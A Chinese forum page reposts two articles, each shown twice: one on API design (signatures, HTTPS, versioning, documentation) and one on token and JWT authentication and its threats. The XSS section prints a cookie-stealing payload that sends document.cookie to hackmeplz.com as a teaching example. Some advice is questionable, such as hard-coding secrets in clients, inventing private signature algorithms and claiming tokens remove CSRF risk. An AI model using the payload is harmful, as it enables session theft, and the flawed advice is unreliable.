第一个问题的解决方案,我主要采用设计签名的方式。对每个客户端分别分配一个AppKey和AppSecret。需要调用API时,将AppKey加入请求参数列表,并将AppSecret和所有参数一起,根据某种签名算法生成一个签名字符串,然后调用API时把该签名字符串也一起带上。服务端收到请求之后,根据请求中的AppKey查询相应的AppSecret,按照同样的签名算法,也生成一个签名字符串,当服务端生成的签名和请求带过来的签名一致的时候,那就表示这个请求的调用者是经过自己授权的,证明这个请求是安全的。而且,每个端都有一个Key,也方便不同端的标识和统计。为了防止AppSecret被别人获取,这个AppSecret一般写死在代码里面。另外,签名算法也需要有一定的复杂度,不能轻易被别人破解,最好是采用自己规 定的一套签名算法,而不是采用外部公开的签名算法。另外,在参数列表中再加入一个时间戳,还可以防止部分重放攻击。
第二个问题的解决方案,主要就是采用 HTTPS了。HTTPS因为添加了SSL安全协议,自动对请求数据进行了压缩加密,在一定程序可以防止监听、防止劫持、防止重发,主要就是防止中间人攻击。因此,为了安全考虑,建议对SSL证书进行强校验,包括签名CA是否合法、域名是否匹配、是不是自签名证书、证书是否过期等。
接口不能直接调用OAuth认证(rsa加密),ip白名单接口的安全工作不能马虎,暴力破解啊、SQL Injection啊、伪造请求和数据啊、重复提交啊也要考虑到,

如果数据特别敏感,可以考虑采用SSL/TLS等加密传输,或者客户端、服务器端约定一个加密算法和密钥,对来往传输的数据进行加密、解密。如将所有参数加签名算法得到一个签名验证参数sign。表单类接口防止重复提交:调用过的接口sign存起来,检查sign是否存在

10、良好的接口说明文档和测试程序

接口文档要清晰、明了,包含多少个接口,每个接口的地址、参数、请求方式、数据交换格式、参数是否必填、编码格式UTF8,返回值等都要写清楚。
接口测试程序,有条件的话,也可以提供,方便前后端的调试
 11、版本的维护

随着业务的变化,客户端APP和服务器端API都会发生变化,增加新的功能,修改已有的功能,
增加功能还好说, 如果是接口需要修改,那么就面临着同一个接口要同时为不同版本的客户端服务的问题。
因此,服务器端接口也要做好相应的版本维护。主版本更新可以把版本号放入API的URL中/api-v2来指出所使用的API版本
次要版本的修改是通过客户在API调用时发起请求的HTTP头部做指定的头部的版本元素看起来是这样的:
Element-Version: 1

12、接口数据、状态

接口必须提供明确的数据状态信息,不管是成功的,还是失败的,都必须返回给APP客户端。

13、接口、参数命名准确。

无论是接口还是参数,命名都应该有意义,让人一目了然。接口调试技巧前提必须放在外网上
1》服务端return 调试信息,客户端调用并显示结果,

2》在服务端将结果保存成文件在打开文件查看,即日志型调试(或建临时表放在数据库表里)

考虑突然断网或接口信息返回超时异常情况的业务处理(先扣金额更新状态,如有问题自动返回)

支付宝
<span style="font-size: 14px;">$alipaySubmit = new AlipaySubmit($alipay_config);
$url = $alipaySubmit->alipay_gateway_new.$alipaySubmit->buildRequestParaToString($parameter);
header("Location: {$url}");</span> 原文:https://yq.aliyun.com/articles/42692 查看全部
总结一下API接口开发过程中的注意事项

1、跨平台性

所谓跨平台是指我们的接口要能够支持不同的终端,比如Android、iOS、windowsphone以及桌面软件、网站等。如:不同的终端每页显示的记录数不同

采用通用的解决方案,比如通信协议就采用最常用的HTTP协议,如果是即时通信,可以采用开放的XMPP协议,做游戏的可以采用可靠的TCP协议,除非TCP不够用了,再采用定制的UDP协议。
数据交换采用xml或者json格式或者webservice等等。总之,要达到的目标就是让不同的端能够很方便的使用你的接口。

2、良好的响应速度

接口应该以最快的速度将数据返回给请求者,要达到的目标就是快,一个页面,秒开最好,超过三秒就需要找找原因了。数据量按需分配,APP客户端需要什么数据就返回什么数据,过多的数据量影响处理速度,最重要的是影响传输效率

3、接口要为移动客户端考虑

比如,在移动端里,下拉刷新和上拉加载更多是很常见的功能,如果接口仍然按照传统的web思路,只提供按页读取的话,就会造成移动端的额外的数据请求和计算。 这时,接口就应该针对这两种类型的操作提供额外的支持。

4、考虑移动端的网络情况和耗电量
如果让我们说出哪类app比较好,可能还不大好说,但是如果让我们说出哪些app很差,我们肯定会说出那些体积很大、占用内存多、界面很卡、费电的app 不好。对于网络情况,接口应该具备为不同的网络提供不同的内容的能力如果我们能够知道用户的网络情况,只有在wifi的情况下才给用户传输封面图、缩略图 之类的,是不是可以帮用户节省很多流量呢

 5、通用的数据交换格式

目前,对于接口和客户端的数据交换格式,基本上就是三种,xml和json和webservice,而现在使用json的应该占大多数最麻烦的就是处理Date类型,因为JSON本身没有Date类型,因此,JSON库将Date类型的数据序列化时会转为String。这时,不同环境, 不同平台,以及用不同的JSON解析库,转换后的结果经常会不同。比如,你在开发机上可能得到的结果是”2016-1-1 17:11:11”,但放到服务器后结果却变成了“Jan 1,2016 5:11:11 PM” ,客户端进行反序列化时无疑会失败。后来,我取消了所有Date类型,统一采用时间戳表示,就再没有转化的烦恼了。 另外,接口的开发人员有时候会将一些数据错误地转换为了String,导致客户端使用时因类型错误而异常。例如,本来是数字的1,被转成 了"1",客户端做运算时就会出错,或用switch判断时也会出错,或其他无法转换的情况发生时;例如,为空时JSON正确地表示应该是null,但如 果转为了String就变成了"null",那问题就来了,我遇到的因为这个错误的转换导致的程序奔溃已经好几次了,第一次的时候,查了一整天才定位到问题所在


6、接口统计功能

在做PC端网站的时候,我们都会给我们的网站加上个统计功能,要么自己写统计系统,要么使用第三方的比如GA
移动端接口API则需要我们自己实现统计功能,这时就需要我们尽可能多的收集客户端的信息,除了传统的IP、User-Agent之外,还应该收集一些移动 相关的信息,比如手机操作系统,是android还是ios,都是什么版本,用户使用的网络状况,是2G、3G、4G还是WIFI。客户端APP是什么版 本信息。

7、客户端与服务端的肥瘦平衡

在移动开发中,由于客户端的修改会很费时费力,特 别是IOS应用还要经过Apple审核,另外,当前IOS开发人员、Android开发人员的人工成本普遍较高,人才紧缺,基于这两点,能在服务器端实现 的功能就不要放在客户端,毕竟服务器端程序的修改要比客户端方便、灵活、快捷的多。

8、隐式用户与显式用户

显式用户指的是,APP程序中有用户系统,一个username、password正确的合法用户,称之为显式的用户,通常显式用户都需要注册,登录以后能完成一些个人相关的操作。
隐式用户指的是,APP程序本身就没有用户系统,或者一个在没有登录的情况下,使用我们APP的用户。
在这种情况下,可以通过客户端生成的UDID来标识一个用户。
有了用户信息,我们就能够了解不同用户的使用习惯,而不仅仅是全体用户的一个整体的统计信息,
有了这些个体的信息之后,就可以做一些用户分群、个性化推荐之类的事情。

9、安全问题
设计API第一个需要考虑的是API的安全机制。我负责的上一个项目,因为API的安全问题,就被人攻击了两次。之后经过分析,主要存在两个漏洞: 一是因 为缺少对调用者进行安全验证的方式,二是因为数据传输不够安全。那么,制定API的安全机制,主要就是为了解决这两个问题:
  • 保证API的调用者是经过自己授权的App;
  • 保证数据传输的安全。

 
第一个问题的解决方案,我主要采用设计签名的方式。对每个客户端分别分配一个AppKey和AppSecret。需要调用API时,将AppKey加入请求参数列表,并将AppSecret和所有参数一起,根据某种签名算法生成一个签名字符串,然后调用API时把该签名字符串也一起带上。服务端收到请求之后,根据请求中的AppKey查询相应的AppSecret,按照同样的签名算法,也生成一个签名字符串,当服务端生成的签名和请求带过来的签名一致的时候,那就表示这个请求的调用者是经过自己授权的,证明这个请求是安全的。而且,每个端都有一个Key,也方便不同端的标识和统计。为了防止AppSecret被别人获取,这个AppSecret一般写死在代码里面。另外,签名算法也需要有一定的复杂度,不能轻易被别人破解,最好是采用自己规 定的一套签名算法,而不是采用外部公开的签名算法。另外,在参数列表中再加入一个时间戳,还可以防止部分重放攻击。
第二个问题的解决方案,主要就是采用 HTTPS了。HTTPS因为添加了SSL安全协议,自动对请求数据进行了压缩加密,在一定程序可以防止监听、防止劫持、防止重发,主要就是防止中间人攻击。因此,为了安全考虑,建议对SSL证书进行强校验,包括签名CA是否合法、域名是否匹配、是不是自签名证书、证书是否过期等。
接口不能直接调用OAuth认证(rsa加密),ip白名单接口的安全工作不能马虎,暴力破解啊、SQL Injection啊、伪造请求和数据啊、重复提交啊也要考虑到,

如果数据特别敏感,可以考虑采用SSL/TLS等加密传输,或者客户端、服务器端约定一个加密算法和密钥,对来往传输的数据进行加密、解密。如将所有参数加签名算法得到一个签名验证参数sign。表单类接口防止重复提交:调用过的接口sign存起来,检查sign是否存在

10、良好的接口说明文档和测试程序

接口文档要清晰、明了,包含多少个接口,每个接口的地址、参数、请求方式、数据交换格式、参数是否必填、编码格式UTF8,返回值等都要写清楚。
接口测试程序,有条件的话,也可以提供,方便前后端的调试
 11、版本的维护

随着业务的变化,客户端APP和服务器端API都会发生变化,增加新的功能,修改已有的功能,
增加功能还好说, 如果是接口需要修改,那么就面临着同一个接口要同时为不同版本的客户端服务的问题。
因此,服务器端接口也要做好相应的版本维护。主版本更新可以把版本号放入API的URL中/api-v2来指出所使用的API版本
次要版本的修改是通过客户在API调用时发起请求的HTTP头部做指定的头部的版本元素看起来是这样的:
Element-Version: 1

12、接口数据、状态

接口必须提供明确的数据状态信息,不管是成功的,还是失败的,都必须返回给APP客户端。

13、接口、参数命名准确。

无论是接口还是参数,命名都应该有意义,让人一目了然。接口调试技巧前提必须放在外网上
1》服务端return 调试信息,客户端调用并显示结果,

2》在服务端将结果保存成文件在打开文件查看,即日志型调试(或建临时表放在数据库表里)

考虑突然断网或接口信息返回超时异常情况的业务处理(先扣金额更新状态,如有问题自动返回)

支付宝
<span style="font-size: 14px;">$alipaySubmit = new AlipaySubmit($alipay_config);  
$url = $alipaySubmit->alipay_gateway_new.$alipaySubmit->buildRequestParaToString($parameter);
header("Location: {$url}");</span>
原文:https://yq.aliyun.com/articles/42692

基于Token的WEB后台认证机制解析

zkbhj 发表了文章 • 0 个评论 • 1209 次浏览 • 2017-12-28 17:12 • 来自相关话题

先来认识几种常用的认证机制:
HTTP Basic Auth

HTTP Basic Auth简单点说明就是每次请求API时都提供用户的username和password,简言之,Basic Auth是配合RESTful API 使用的最简单的认证方式,只需提供用户名密码即可,但由于有把用户名密码暴露给第三方客户端的风险,在生产环境下被使用的越来越少。因此,在开发对外开放的RESTful API时,尽量避免采用HTTP Basic Auth

OAuth

OAuth(开放授权)是一个开放的授权标准,允许用户让第三方应用访问该用户在某一web服务上存储的私密的资源(如照片,视频,联系人列表),而无需将用户名和密码提供给第三方应用。

OAuth允许用户提供一个令牌,而不是用户名和密码来访问他们存放在特定服务提供者的数据。每一个令牌授权一个特定的第三方系统(例如,视频编辑网站)在特定的时段(例如,接下来的2小时内)内访问特定的资源(例如仅仅是某一相册中的视频)。这样,OAuth让用户可以授权第三方网站访问他们存储在另外服务提供者的某些特定信息,而非所有内容
下面是OAuth2.0的流程:





这种基于OAuth的认证机制适用于个人消费者类的互联网产品,如社交类APP等应用,但是不太适合拥有自有认证权限管理的企业应用;
 
Cookie Auth
 
Cookie认证机制就是为一次请求认证在服务端创建一个Session对象,同时在客户端的浏览器端创建了一个Cookie对象;通过客户端带上来Cookie对象来与服务器端的session对象匹配来实现状态管理的。默认的,当我们关闭浏览器的时候,cookie会被删除。但可以通过修改cookie 的expire time使cookie在一定时间内有效;

Token Auth





 
Token Auth的优点

Token机制相对于Cookie机制又有什么好处呢? 
支持跨域访问: Cookie是不允许垮域访问的,这一点对Token机制是不存在的,前提是传输的用户认证信息通过HTTP头传输.无状态(也称:服务端可扩展行):Token机制在服务端不需要存储session信息,因为Token 自身包含了所有登录用户的信息,只需要在客户端的cookie或本地介质存储状态信息.更适用CDN: 可以通过内容分发网络请求你服务端的所有资料(如:javascript,HTML,图片等),而你的服务端只要提供API即可.去耦: 不需要绑定到一个特定的身份验证方案。Token可以在任何地方生成,只要在你的API被调用的时候,你可以进行Token生成调用即可.更适用于移动应用: 当你的客户端是一个原生平台(iOS, Android,Windows 8等)时,Cookie是不被支持的(你需要通过Cookie容器进行处理),这时采用Token认证机制就会简单得多。CSRF:因为不再依赖于Cookie,所以你就不需要考虑对CSRF(跨站请求伪造)的防范。性能: 一次网络往返时间(通过数据库查询session信息)总比做一次HMACSHA256计算 的Token验证和解析要费时得多.不需要为登录页面做特殊处理: 如果你使用Protractor 做功能测试的时候,不再需要为登录页面做特殊处理.基于标准化:你的API可以采用标准化的 JSON Web Token (JWT). 这个标准已经存在多个后端库(.NET, Ruby, Java,Python, PHP)和多家公司的支持(如:Firebase,Google, Microsoft).
 
基于JWT的Token认证机制实现

JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。

JWT的组成

一个JWT实际上就是一个字符串,它由三部分组成,头部、载荷与签名。

载荷(Payload)
{ "iss": "Online JWT Builder",
"iat": 1416797419,
"exp": 1448333419,
"aud": "www.example.com",
"sub": "jrocket@example.com",
"GivenName": "Johnny",
"Surname": "Rocket",
"Email": "jrocket@example.com",
"Role": [ "Manager", "Project Administrator" ]
}
iss: 该JWT的签发者,是否使用是可选的;sub: 该JWT所面向的用户,是否使用是可选的;aud: 接收该JWT的一方,是否使用是可选的;exp(expires): 什么时候过期,这里是一个Unix时间戳,是否使用是可选的;iat(issued at): 在什么时候签发的(UNIX时间),是否使用是可选的;其他还有:nbf (Not Before):如果当前时间在nbf里的时间之前,则Token不被接受;一般都会留一些余地,比如几分钟;,是否使用是可选的;
 
上面的JSON对象进行[base64编码]可以得到下面的字符串。这个字符串我们将它称作JWT的Payload(载荷)。
eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9小知识:什么是base64编码?
 
头部(Header)

JWT还需要一个头部,头部用于描述关于该JWT的最基本的信息,例如其类型以及签名所用的算法等。这也可以被表示成一个JSON对象。
{
"typ": "JWT",
"alg": "HS256"
}在头部指明了签名算法是HS256算法。
当然头部也要进行BASE64编码,编码后的字符串如下:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9签名(Signature)
将上面的两个编码后的字符串都用句号.连接在一起(头部在前),就形成了:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0最后,我们将上面拼接完的字符串用HS256算法进行加密。在加密的时候,我们还需要提供一个密钥(secret)。如果我们用mystar作为密钥的话,那么就可以得到我们加密后的内容:
rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM最后将这一部分签名也拼接在被签名的字符串后面,我们就得到了完整的JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM在我们的请求URL中会带上这串JWT字符串:https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM认证过程

下面我们从一个实例来看如何运用JWT机制实现认证:

登录 
第一次认证:第一次登录,用户从浏览器输入用户名/密码,提交后到服务器的登录处理的Action层(Login Action);Login Action调用认证服务进行用户名密码认证,如果认证通过,Login Action层调用用户信息服务获取用户信息(包括完整的用户信息及对应权限信息);返回用户信息后,Login Action从配置文件中获取Token签名生成的秘钥信息,进行Token的生成;生成Token的过程中可以调用第三方的JWT Lib生成签名后的JWT数据;完成JWT数据签名后,将其设置到COOKIE对象中,并重定向到首页,完成登录过程;

请求认证

基于Token的认证机制会在每一次请求中都带上完成签名的Token信息,这个Token信息可能在COOKIE中,也可能在HTTP的Authorization头中;
 
客户端(APP客户端或浏览器)通过GET或POST请求访问资源(页面或调用API);认证服务作为一个Middleware HOOK 对请求进行拦截,首先在cookie中查找Token信息,如果没有找到,则在HTTP Authorization Head中查找;如果找到Token信息,则根据配置文件中的签名加密秘钥,调用JWT Lib对Token信息进行解密和解码;完成解码并验证签名通过后,对Token中的exp、nbf、aud等信息进行验证;全部通过后,根据获取的用户的角色权限信息,进行对请求的资源的权限逻辑判断;如果权限逻辑判断通过则通过Response对象返回;否则则返回HTTP 401;

对Token认证的五点认识

对Token认证机制有5点直接注意的地方: 
一个Token就是一些信息的集合;在Token中包含足够多的信息,以便在后续请求中减少查询数据库的几率;服务端需要对cookie和HTTP Authrorization Header进行Token信息的检查;基于上一点,你可以用一套token认证代码来面对浏览器类客户端和非浏览器类客户端;因为token是被签名的,所以我们可以认为一个可以解码认证通过的token是由我们系统发放的,其中带的信息是合法有效的;
 
基于JWT的Token认证的安全问题
 
确保验证过程的安全性

如何保证用户名/密码验证过程的安全性;因为在验证过程中,需要用户输入用户名和密码,在这一过程中,用户名、密码等敏感信息需要在网络中传输。因此,在这个过程中建议采用HTTPS,通过SSL加密传输,以确保通道的安全性。

如何防范XSS Attacks

浏览器可以做很多事情,这也给浏览器端的安全带来很多隐患,最常见的如:XSS攻击:跨站脚本攻击(Cross Site Scripting);如果有个页面的输入框中允许输入任何信息,且没有做防范措施,如果我们输入下面这段代码:
<img src="x" /> a.src='https1//hackmeplz.com/yourCookies.png/?cookies=’
+document.cookie;return a}())"这段代码会盗取你域中的所有cookie信息,并发送到 hackmeplz.com;那么我们如何来防范这种攻击呢?
 
XSS攻击代码过滤
移除任何会导致浏览器做非预期执行的代码,这个可以采用一些库来实现(如:js下的js-xss,JAVA下的XSS HTMLFilter,PHP下的TWIG);如果你是将用户提交的字符串存储到数据库的话(也针对SQL注入攻击),你需要在前端和服务端分别做过滤;
 
采用HTTP-Only Cookies
通过设置Cookie的参数: HttpOnly; Secure 来防止通过JavaScript 来访问Cookie;
如何在Java中设置cookie是HttpOnly呢?
Servlet 2.5 API 不支持 cookie设置HttpOnly
http://docs.oracle.com/cd/E178 ... -mr2/
建议升级Tomcat7.0,它已经实现了Servlet3.0
http://tomcat.apache.org/tomca ... .html
或者通过这样来设置:
//设置cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

//设置多个cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");

//设置https的cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");在实际使用中,我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly;
 
如何防范Replay Attacks

所谓重放攻击就是攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统,黑客还是可以利用窃取的Token模拟正常请求,而服务器端对此完全不知道,以为JWT机制是无状态的。
针对这种情况,有几种常用做法可以用作参考:

1、时间戳 +共享秘钥
这种方案,客户端和服务端都需要知道:User ID、共享秘钥。
 
2、时间戳 +共享秘钥+黑名单 (类似Zendesk的做法)
 
如何防范MITM (Man-In-The-Middle)Attacks

所谓MITM攻击,就是在客户端和服务器端的交互过程被监听,比如像可以上网的咖啡馆的WIFI被监听或者被黑的代理服务器等;
针对这类攻击的办法使用HTTPS,包括针对分布式应用,在服务间传输像cookie这类敏感信息时也采用HTTPS;所以云计算在本质上是不安全的。
 
原文地址:https://www.cnblogs.com/xiekeli/p/5607107.html 查看全部
先来认识几种常用的认证机制:
HTTP Basic Auth

HTTP Basic Auth简单点说明就是每次请求API时都提供用户的username和password,简言之,Basic Auth是配合RESTful API 使用的最简单的认证方式,只需提供用户名密码即可,但由于有把用户名密码暴露给第三方客户端的风险,在生产环境下被使用的越来越少。因此,在开发对外开放的RESTful API时,尽量避免采用HTTP Basic Auth

OAuth

OAuth(开放授权)是一个开放的授权标准,允许用户让第三方应用访问该用户在某一web服务上存储的私密的资源(如照片,视频,联系人列表),而无需将用户名和密码提供给第三方应用。

OAuth允许用户提供一个令牌,而不是用户名和密码来访问他们存放在特定服务提供者的数据。每一个令牌授权一个特定的第三方系统(例如,视频编辑网站)在特定的时段(例如,接下来的2小时内)内访问特定的资源(例如仅仅是某一相册中的视频)。这样,OAuth让用户可以授权第三方网站访问他们存储在另外服务提供者的某些特定信息,而非所有内容
下面是OAuth2.0的流程:
34831-20160622150107172-139099471.png


这种基于OAuth的认证机制适用于个人消费者类的互联网产品,如社交类APP等应用,但是不太适合拥有自有认证权限管理的企业应用;
 
Cookie Auth
 
Cookie认证机制就是为一次请求认证在服务端创建一个Session对象,同时在客户端的浏览器端创建了一个Cookie对象;通过客户端带上来Cookie对象来与服务器端的session对象匹配来实现状态管理的。默认的,当我们关闭浏览器的时候,cookie会被删除。但可以通过修改cookie 的expire time使cookie在一定时间内有效;

Token Auth

34831-20160622150124531-1416052185.png

 
Token Auth的优点

Token机制相对于Cookie机制又有什么好处呢? 
  • 支持跨域访问: Cookie是不允许垮域访问的,这一点对Token机制是不存在的,前提是传输的用户认证信息通过HTTP头传输.
  • 无状态(也称:服务端可扩展行):Token机制在服务端不需要存储session信息,因为Token 自身包含了所有登录用户的信息,只需要在客户端的cookie或本地介质存储状态信息.
  • 更适用CDN: 可以通过内容分发网络请求你服务端的所有资料(如:javascript,HTML,图片等),而你的服务端只要提供API即可.
  • 去耦: 不需要绑定到一个特定的身份验证方案。Token可以在任何地方生成,只要在你的API被调用的时候,你可以进行Token生成调用即可.
  • 更适用于移动应用: 当你的客户端是一个原生平台(iOS, Android,Windows 8等)时,Cookie是不被支持的(你需要通过Cookie容器进行处理),这时采用Token认证机制就会简单得多。
  • CSRF:因为不再依赖于Cookie,所以你就不需要考虑对CSRF(跨站请求伪造)的防范。
  • 性能: 一次网络往返时间(通过数据库查询session信息)总比做一次HMACSHA256计算 的Token验证和解析要费时得多.
  • 不需要为登录页面做特殊处理: 如果你使用Protractor 做功能测试的时候,不再需要为登录页面做特殊处理.
  • 基于标准化:你的API可以采用标准化的 JSON Web Token (JWT). 这个标准已经存在多个后端库(.NET, Ruby, Java,Python, PHP)和多家公司的支持(如:Firebase,Google, Microsoft).

 
基于JWT的Token认证机制实现

JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。

JWT的组成

一个JWT实际上就是一个字符串,它由三部分组成,头部、载荷与签名。

载荷(Payload)
{ "iss": "Online JWT Builder", 
"iat": 1416797419,
"exp": 1448333419,
"aud": "www.example.com",
"sub": "jrocket@example.com",
"GivenName": "Johnny",
"Surname": "Rocket",
"Email": "jrocket@example.com",
"Role": [ "Manager", "Project Administrator" ]
}

  • iss: 该JWT的签发者,是否使用是可选的;
  • sub: 该JWT所面向的用户,是否使用是可选的;
  • aud: 接收该JWT的一方,是否使用是可选的;
  • exp(expires): 什么时候过期,这里是一个Unix时间戳,是否使用是可选的;
  • iat(issued at): 在什么时候签发的(UNIX时间),是否使用是可选的;
  • 其他还有:
  • nbf (Not Before):如果当前时间在nbf里的时间之前,则Token不被接受;一般都会留一些余地,比如几分钟;,是否使用是可选的;

 
上面的JSON对象进行[base64编码]可以得到下面的字符串。这个字符串我们将它称作JWT的Payload(载荷)。
eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9
小知识:什么是base64编码?
 
头部(Header)

JWT还需要一个头部,头部用于描述关于该JWT的最基本的信息,例如其类型以及签名所用的算法等。这也可以被表示成一个JSON对象。
{
"typ": "JWT",
"alg": "HS256"
}
在头部指明了签名算法是HS256算法。
当然头部也要进行BASE64编码,编码后的字符串如下:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
签名(Signature)
将上面的两个编码后的字符串都用句号.连接在一起(头部在前),就形成了:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0
最后,我们将上面拼接完的字符串用HS256算法进行加密。在加密的时候,我们还需要提供一个密钥(secret)。如果我们用mystar作为密钥的话,那么就可以得到我们加密后的内容:
rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
最后将这一部分签名也拼接在被签名的字符串后面,我们就得到了完整的JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
在我们的请求URL中会带上这串JWT字符串:
https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
认证过程

下面我们从一个实例来看如何运用JWT机制实现认证:

登录 
  • 第一次认证:第一次登录,用户从浏览器输入用户名/密码,提交后到服务器的登录处理的Action层(Login Action);
  • Login Action调用认证服务进行用户名密码认证,如果认证通过,Login Action层调用用户信息服务获取用户信息(包括完整的用户信息及对应权限信息);
  • 返回用户信息后,Login Action从配置文件中获取Token签名生成的秘钥信息,进行Token的生成;
  • 生成Token的过程中可以调用第三方的JWT Lib生成签名后的JWT数据;
  • 完成JWT数据签名后,将其设置到COOKIE对象中,并重定向到首页,完成登录过程;


请求认证

基于Token的认证机制会在每一次请求中都带上完成签名的Token信息,这个Token信息可能在COOKIE中,也可能在HTTP的Authorization头中;
 
  • 客户端(APP客户端或浏览器)通过GET或POST请求访问资源(页面或调用API);
  • 认证服务作为一个Middleware HOOK 对请求进行拦截,首先在cookie中查找Token信息,如果没有找到,则在HTTP Authorization Head中查找;
  • 如果找到Token信息,则根据配置文件中的签名加密秘钥,调用JWT Lib对Token信息进行解密和解码;
  • 完成解码并验证签名通过后,对Token中的exp、nbf、aud等信息进行验证;
  • 全部通过后,根据获取的用户的角色权限信息,进行对请求的资源的权限逻辑判断;
  • 如果权限逻辑判断通过则通过Response对象返回;否则则返回HTTP 401;


对Token认证的五点认识

对Token认证机制有5点直接注意的地方: 
  • 一个Token就是一些信息的集合;
  • 在Token中包含足够多的信息,以便在后续请求中减少查询数据库的几率;
  • 服务端需要对cookie和HTTP Authrorization Header进行Token信息的检查;
  • 基于上一点,你可以用一套token认证代码来面对浏览器类客户端和非浏览器类客户端;
  • 因为token是被签名的,所以我们可以认为一个可以解码认证通过的token是由我们系统发放的,其中带的信息是合法有效的;

 
基于JWT的Token认证的安全问题
 
确保验证过程的安全性

如何保证用户名/密码验证过程的安全性;因为在验证过程中,需要用户输入用户名和密码,在这一过程中,用户名、密码等敏感信息需要在网络中传输。因此,在这个过程中建议采用HTTPS,通过SSL加密传输,以确保通道的安全性。

如何防范XSS Attacks

浏览器可以做很多事情,这也给浏览器端的安全带来很多隐患,最常见的如:XSS攻击:跨站脚本攻击(Cross Site Scripting);如果有个页面的输入框中允许输入任何信息,且没有做防范措施,如果我们输入下面这段代码:
<img src="x" /> a.src='https1//hackmeplz.com/yourCookies.png/?cookies=’
+document.cookie;return a}())"
这段代码会盗取你域中的所有cookie信息,并发送到 hackmeplz.com;那么我们如何来防范这种攻击呢?
 
  • XSS攻击代码过滤

移除任何会导致浏览器做非预期执行的代码,这个可以采用一些库来实现(如:js下的js-xss,JAVA下的XSS HTMLFilter,PHP下的TWIG);如果你是将用户提交的字符串存储到数据库的话(也针对SQL注入攻击),你需要在前端和服务端分别做过滤;
 
  • 采用HTTP-Only Cookies

通过设置Cookie的参数: HttpOnly; Secure 来防止通过JavaScript 来访问Cookie;
如何在Java中设置cookie是HttpOnly呢?
Servlet 2.5 API 不支持 cookie设置HttpOnly
http://docs.oracle.com/cd/E178 ... -mr2/
建议升级Tomcat7.0,它已经实现了Servlet3.0
http://tomcat.apache.org/tomca ... .html
或者通过这样来设置:
//设置cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

//设置多个cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");

//设置https的cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");
在实际使用中,我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly;
 
如何防范Replay Attacks

所谓重放攻击就是攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统,黑客还是可以利用窃取的Token模拟正常请求,而服务器端对此完全不知道,以为JWT机制是无状态的。
针对这种情况,有几种常用做法可以用作参考:

1、时间戳 +共享秘钥
这种方案,客户端和服务端都需要知道:User ID、共享秘钥。
 
2、时间戳 +共享秘钥+黑名单 (类似Zendesk的做法)
 
如何防范MITM (Man-In-The-Middle)Attacks

所谓MITM攻击,就是在客户端和服务器端的交互过程被监听,比如像可以上网的咖啡馆的WIFI被监听或者被黑的代理服务器等;
针对这类攻击的办法使用HTTPS,包括针对分布式应用,在服务间传输像cookie这类敏感信息时也采用HTTPS;所以云计算在本质上是不安全的。
 
原文地址:https://www.cnblogs.com/xiekeli/p/5607107.html

《架构即未来》中最常用的15个架构原则总结

zkbhj 发表了文章 • 0 个评论 • 1420 次浏览 • 2017-12-25 12:05 • 来自相关话题

